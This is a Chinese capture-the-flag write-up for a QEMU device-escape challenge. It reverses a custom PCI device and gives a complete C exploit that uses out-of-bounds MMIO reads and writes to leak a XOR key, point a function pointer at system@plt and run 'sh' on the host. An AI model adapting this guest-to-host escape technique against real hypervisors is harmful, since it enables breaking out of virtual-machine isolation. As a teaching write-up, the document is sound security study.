前言
虚拟机用户名:root
无密码
设备逆向
题目去掉的符号,经过逆向分析,实例结构体如下:
可以看到 arr_int_8 数组后面存在一个函数指针,不用想基本上就是劫持该函数指针了。
denc_mmio_read 函数
这里存在越界读,在上面实例结构体中,arr_int_8 数组的大小为 8,而这里的下标达到了 9,所以刚好可以越界读取 func 的地址。
denc_mmio_write 函数
同理,这里也存在越界写,并且刚好可以写到 func,但是这里存在一个问题,就是每次写之前都会将数据进行异或。
异或的数据 data 是在实例初始化时设置的,这里设置的算法很复杂,基本上不考虑去逆向。
但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的,只需要让 mmio_write 的 val 等于 0 即可,然后在用 mmio_read 读出来。
denc_pmio_read 函数
该函数是正常读取,没有问题。
denc_pmio_write 函数
该函数写入是正常的,当 addr = 0x660 时,会调用函数指针,参数为 arr_int_8 首地址。
注意这里存在花指令:
就是这个位置,大家 patch 掉就行了
漏洞利用
其实就很简单了
1、利用 mmio_read 越界读泄漏 func 地址从而计算出 system@plt 地址
2、利用 mmio_write/mmio_read 泄漏异或 data
3、利用 mmio_write 越界写将 func 函数指针指向 system@plt
4、将 cmd 写入 arr_int_8
5、然后 mmio_write(0x660, 0) 触发即可
exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>void * mmio_base;
uint64_t pmio_base = 0xc000;void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void pmio_init()
{if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}uint32_t mmio_read(uint64_t offset)
{return *(uint32_t*)(mmio_base + (offset << 2));
}void mmio_write(uint64_t offset, uint32_t val)
{*(uint32_t*)(mmio_base + (offset << 2)) = val;
}uint32_t pmio_read(uint64_t offset)
{return inl(pmio_base + (offset << 2));
}void pmio_write(uint64_t offset, uint64_t val)
{outl(val, pmio_base + offset);
}int main(int argc, char** argv, char** envp)
{mmio_init();pmio_init();uint64_t func_addr = mmio_read(8);func_addr = func_addr | (1ULL * mmio_read(9) << 32);uint64_t system_plt = func_addr - 0x3A9EA8 + 0x2CCB60;printf("[+] func_addr: %#p\n", func_addr);printf("[+] system@plt addr: %#p\n", system_plt);uint32_t data[10];for (int i = 0; i < 10; i++){mmio_write(i, 0);data[i] = mmio_read(i);printf(" [+] data[%d]: %#x\n", i, data[i]);}mmio_write(0, data[0]^0x6873);mmio_write(8, data[8]^(system_plt&0xffffffff));mmio_write(9, data[9]^((system_plt>>32)&0xffffffff));pmio_write(0x660, 0);puts("[+] End!");return 0;
}
效果如下: